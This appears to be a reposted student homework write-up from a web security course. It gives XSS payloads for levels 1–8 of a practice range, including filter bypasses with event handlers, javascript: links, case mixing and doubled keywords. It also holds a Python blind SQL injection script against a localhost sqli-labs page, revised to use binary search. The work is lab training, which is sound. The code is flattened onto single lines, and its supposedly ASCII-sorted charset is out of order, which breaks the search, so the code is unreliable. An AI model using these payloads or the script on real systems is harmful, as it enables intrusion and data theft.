網絡安全第二次作業

靶場闖關1~8

1.

在url后的name后輸入payload

?name=<script>alert(1)</script>

2.

嘗試在框中輸入上一關的payload,發現并沒有通過,此時我們可以點開頁面的源代碼看看我們輸入的值被送到什么地方去了

從圖中可以看到,我們輸入的值被送到input標簽里的value值中去了,這個時候可以先嘗試先閉合value,輸入payload

3.

嘗試輸入第一關的payload

失敗

再嘗試一下第二關的思路,閉合標簽

發現了這個頁面把<、>這樣的敏感字符編碼成了html字符實體及其他符號都進行了實體化,都用htmlspecialchars()函數進行了處理。此時我們可以使用使用無引號事件

4.

還是按照之前幾個題的思路來處理

發現這個頁面吧<script></script>的“<”">"過濾了,此時可以嘗試

" onmouseover=alert(1) x="

5.

依舊老方法

發現這個頁面將<script></script>的script中插入了下劃線變成了scr_ipt且可以讓標簽正常閉合,我們可以嘗試進行雙寫,大寫等進行嘗試,發現都不可以,此時我們可以使用a標簽進行嘗試

"><a href=javascript:alert(1)>alert</a>

點擊alert過關

6.

老方法

"><sCRipt>alert(1)</sCRipt>

7.

老方法

可以看出,這里存在小寫檢測,把檢測出來的on、script、href給刪了,這時我們可以嘗試一下雙寫

"><scrscriptipt>alert(1)</scrscriptipt>

8.

老方法

從圖中可以看出,這次我們輸入的值被傳入了兩個地方,而且我們前幾關的方法不可以,此時我們可以使用Unicode編碼的方式來看看能不能繞過,可以前往錘子在線工具網 - 首頁這個網站前去編碼

點擊友情鏈接過關

二、利用python實現自動化布爾盲注的代碼優化(利用二分查找)

源代碼:

import requests# 目標URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推斷的數據庫信息(例如:數據庫名)
database_name = ""# 字符集(可以根據需要擴展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推斷數據庫名的長度def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止無限循環breakreturn 0# 推斷數據庫名def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:  payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正確字符后跳出內層循環return db_name# 主函數
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

修改字符集為有序形式,即為了使用二分查找,需要將字符集按 ASCII 順序排序:

charset = " 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_-.abcdefghijklmnopqrstuvwxyz"

然后寫出實現二分查找的函數(對于長度和字符的推斷,分別實現兩個二分查找函數)?

def get_database_length():low, high = 1, 50while low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT length(database()) <= {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:high = mid - 1else:low = mid + 1return low if low <= 50 else 0

def get_database_name(length):db_name = ""for i in range(1, length + 1):low, high = 0, len(charset) - 1while low <= high:mid = (low + high) // 2current_char = charset[mid]# 檢查當前字符是否大于或等于目標字符payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {i}, 1)) <= ASCII('{current_char}')) -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:high = mid - 1else:low = mid + 1if low < len(charset):db_name += charset[low]return db_name

接下來將兩個函數的判斷條件統一為"You are in";為了更好地了解當前的執行進度,可以在每次成功推斷一個字符后打印進度:

print(f"Progress: [{db_name.ljust(length, '.')}] {i}/{length}", end='\r')

修改過后的完整代碼:

import requests# 目標URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推斷的數據庫信息(例如:數據庫名)
database_name = ""# 字符集(按ASCII順序排列)
charset = " 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_-.abcdefghijklmnopqrstuvwxyz"# 推斷數據庫名的長度
def get_database_length():low, high = 1, 50while low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT length(database()) <= {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:high = mid - 1else:low = mid + 1return low if low <= 50 else 0# 推斷數據庫名
def get_database_name(length):db_name = ""for i in range(1, length + 1):low, high = 0, len(charset) - 1while low <= high:mid = (low + high) // 2current_char = charset[mid]# 檢查當前字符是否大于或等于目標字符payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {i}, 1)) <= ASCII('{current_char}')) -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:high = mid - 1else:low = mid + 1if low < len(charset):db_name += charset[low]print(f"Progress: [{db_name.ljust(length, '.')}] {i}/{length}", end='\r')print()  # 換行return db_name# 主函數
if __name__ == "__main__":try:print("正在推斷數據庫長度...")length = get_database_length()if length > 0:print(f"Database length: {length}")print("正在推斷數據庫名...")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")except requests.exceptions.RequestException as e:print(f"請求異常: {e}")except Exception as e:print(f"發生錯誤: {e}")    

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/89384.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/89384.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/89384.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

LangChain 源碼剖析(七)RunnableBindingBase 深度剖析:給 Runnable“穿衣服“ 的裝飾器架構

每一篇文章都短小精悍&#xff0c;不啰嗦。一、功能定位&#xff1a;Runnable 的 "增強包裝器"RunnableBindingBase 是 LangChain 中實現裝飾器模式的核心組件。它就像給原有 Runnable 套上一件 "功能外套"—— 不改變原有 Runnable 的核心邏輯&#xff0c…

為 Git branch 命令添加描述功能

寫在最前面的使用方式 查看 所有分支的備注 git branch.notes創建分支并為分支添加備注 git co -b feat/oauth -m 第三方用戶登錄對分支描述的添加與清除 添加 git branch.note --add 清除 git branch.note --clear &#x1f4dd; 為 Git branch 命令添加描述功能 &#x…

LeetCode|Day18|20. 有效的括號|Python刷題筆記

LeetCode&#xff5c;Day18&#xff5c;20. 有效的括號&#xff5c;Python刷題筆記 &#x1f5d3;? 本文屬于【LeetCode 簡單題百日計劃】系列 &#x1f449; 點擊查看系列總目錄 >> &#x1f4cc; 題目簡介 題號&#xff1a;20. 有效的括號 難度&#xff1a;簡單 題目…

使?Pytorch構建?個神經?絡

關于torch.nn:使?Pytorch來構建神經?絡, 主要的?具都在torch.nn包中.nn依賴于autograd來定義模型, 并對其?動求導.構建神經?絡的典型流程:定義?個擁有可學習參數的神經?絡遍歷訓練數據集處理輸?數據使其流經神經?絡計算損失值將?絡參數的梯度進?反向傳播以?定的規則…

網絡爬蟲的詳細知識點

基本介紹 什么是網絡爬蟲 網絡爬蟲&#xff08;Web Crawler&#xff09;是一種自動化程序&#xff0c;用于從互聯網上抓取、解析和存儲網頁數據。其核心功能是模擬人類瀏覽行為&#xff0c;通過HTTP/HTTPS協議訪問目標網站&#xff0c;提取文本、鏈接、圖片或其他結構化信息&…

AndroidX中ComponentActivity與原生 Activity 的區別

一、AndroidX 與原生 Activity 的區別 1. 概念與背景 原生 Activity&#xff1a;指 Android 早期&#xff08;API 1 起&#xff09;就存在于 android.app 包下的 Activity 類&#xff08;如 android.app.Activity&#xff09;&#xff0c;是 Android 最初的 Activity 實現&…

Spring AI 使用 Elasticsearch 作為向量數據庫

前言 嗨&#xff0c;大家好&#xff0c;我是雪荷&#xff0c;最近在公司開發 AI 知識庫&#xff0c;同時學到了一些 AI 開發相關的技術&#xff0c;這期先與大家分享一下如何用 ES 當做向量數據庫。 安裝ES 第一步我們先安裝 Elasticsearch&#xff0c;這里建議 Elasticsear…

TypeScript 配置全解析:tsconfig.json、tsconfig.app.json 與 tsconfig.node.json 的深度指南

前言在現代前端和后端開發中&#xff0c;TypeScript 已經成為許多開發者的首選語言。然而&#xff0c;TypeScript 的配置文件&#xff08;特別是多個配置文件協同工作時&#xff09;常常讓開發者感到困惑。本文將深入探討 tsconfig.json、tsconfig.app.json 和 tsconfig.node.j…

讀書筆記(學會說話)

1、一個人只有會說話&#xff0c;才會有好人緣&#xff0c;做事才會順利。會說話的人容易成功。善于說話的人易成功&#xff0c;而不善說話的人往往寸步難行。我們要把話說得好聽&#xff0c;同時更要把事做得漂亮。或許一句話&#xff0c;一件事&#xff0c;就可能使人生的旅途…

私有服務器AI智能體搭建-大模型選擇優缺點、擴展性、可開發

以下是主流 AI 框架與模型的對比分析&#xff0c;涵蓋其優缺點、擴展性、可開發性等方面。 文章目錄一、AI 框架對比二、主流大模型對比三、擴展性對比總結四、可開發性對比總結五、選擇建議&#xff08;按場景&#xff09;六、未來趨勢一、AI 框架對比 框架優點缺點擴展性可開…

OpenCV直線段檢測算法類cv::line_descriptor::LSDDetector

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 算法描述 該類用于實現 LSD (Line Segment Detector) 直線段檢測算法。LSD 是一種快速、準確的直線檢測方法&#xff0c;能夠在不依賴邊緣檢測的前提下直接從…

Go語言流程控制(if / for)

分支結構package mainimport ("fmt""strconv" )/* 1.順序結構 2.分支結構 3.循環結構 *//* if 條件1 {// 條件1為真時執行的代碼 } else if 條件2 {// 條件1為假但條件2為真時執行的代碼 } else {// 所有條件均為假時執行的代碼 }一種特殊的條件分支結構if…

wx小程序設置沉浸式導航文字高度問題

第一步&#xff1a;在app.json中設置"navigationStyle": "custom"第二步驟&#xff1a;文件的home.js中// pages/test/test.js Page({/*** 頁面的初始數據*/data: {statusBarHeight: 0,navBarHeight: 44 // 自定義導航內容區高度(單位px)},/*** 生命周期函…

C++算法競賽篇:DevC++ 如何進行debug調試

C算法競賽篇&#xff1a;DevC 如何進行debug調試前言一、準備工作&#xff1a;編譯生成可執行程序二、核心步驟&#xff1a;設置斷點與啟動調試1. 設置斷點2. 啟動調試模式三、調試操作&#xff1a;逐步執行與變量監控1. 逐步執行代碼2. 監控變量值變化四、調試結束前言 在算法…

語音大模型速覽(三)- cosyvoice2

CosyVoice 2: Scalable Streaming Speech Synthesis with Large Language Models 論文鏈接&#xff1a;https://arxiv.org/pdf/2412.10117代碼鏈接&#xff1a;https://github.com/FunAudioLLM/CosyVoice 一句話總結 CosyVoice 2 是一款改進的流式語音合成模型&#xff0c;其…

-lstdc++與-static-libstdc++的用法和差異

CMakeLists.txt 里寫了&#xff1a; target_link_libraries(${PROJECT_NAME} PRIVATEgccstdc ) target_link_options(${PROJECT_NAME} PRIVATE -static-libstdc)看起來像是“鏈接了兩次 C 標準庫”&#xff0c;其實它們的作用完全不同&#xff1a;1. target_link_libraries(...…

Redis學習其二(事務,SpringBoot整合,持久化RDB和AOF)

文章目錄5,事務5.1Redis 事務不保證原子性的原因5.2事務操作過程5.3監控6,SpringBoot整合Redis6.1Redis客戶端6.1.1Jedis簡單使用6.1.2Lettuce&Jedis6.2配置相關6.3使用6.3.1使用RedisTemplate6.3.2Redis工具類7,持久化RDB7.1RDB持久化原理7.2觸發機制save命令flushall命令…

springboot項目部署到K8S

java后臺 創建harbor鏡像拉取Secret&#xff1a;kubectl create secret docker-registry harbor-regcred \--docker-server \ #harbor倉庫地址--docker-username \ #harbor 賬號--docker-password \ #harbor密碼-n productionDockerfile FROM *harbor地址*/library/custom-jdk…

【FPGA開發】一文輕松入門Modelsim的基本操作

Modelsim仿真的步驟 &#xff08;1&#xff09;創建新的工程。 &#xff08;2&#xff09;在彈出的窗口中&#xff0c;確定項目名和工作路徑&#xff0c;庫保持為work不變(如有需要可以根據需求進行更改)。 &#xff08;3&#xff09;添加已經存在的文件&#xff08;rtl代碼和t…

服務攻防-Java組件安全FastJson高版本JNDI不出網C3P0編碼繞WAF寫入文件CI鏈

服務攻防-Java組件安全&FastJson&高版本JNDI&不出網C3P0&編碼繞WAF&寫入文件CI鏈26天 原創 朝陽 Sec朝陽 2025年07月18日 09:23 湖北 標題已修改 演示環境&#xff1a; https://github.com/lemono0/FastJsonParty FastJson全版本Docker漏洞環境(涵蓋1.…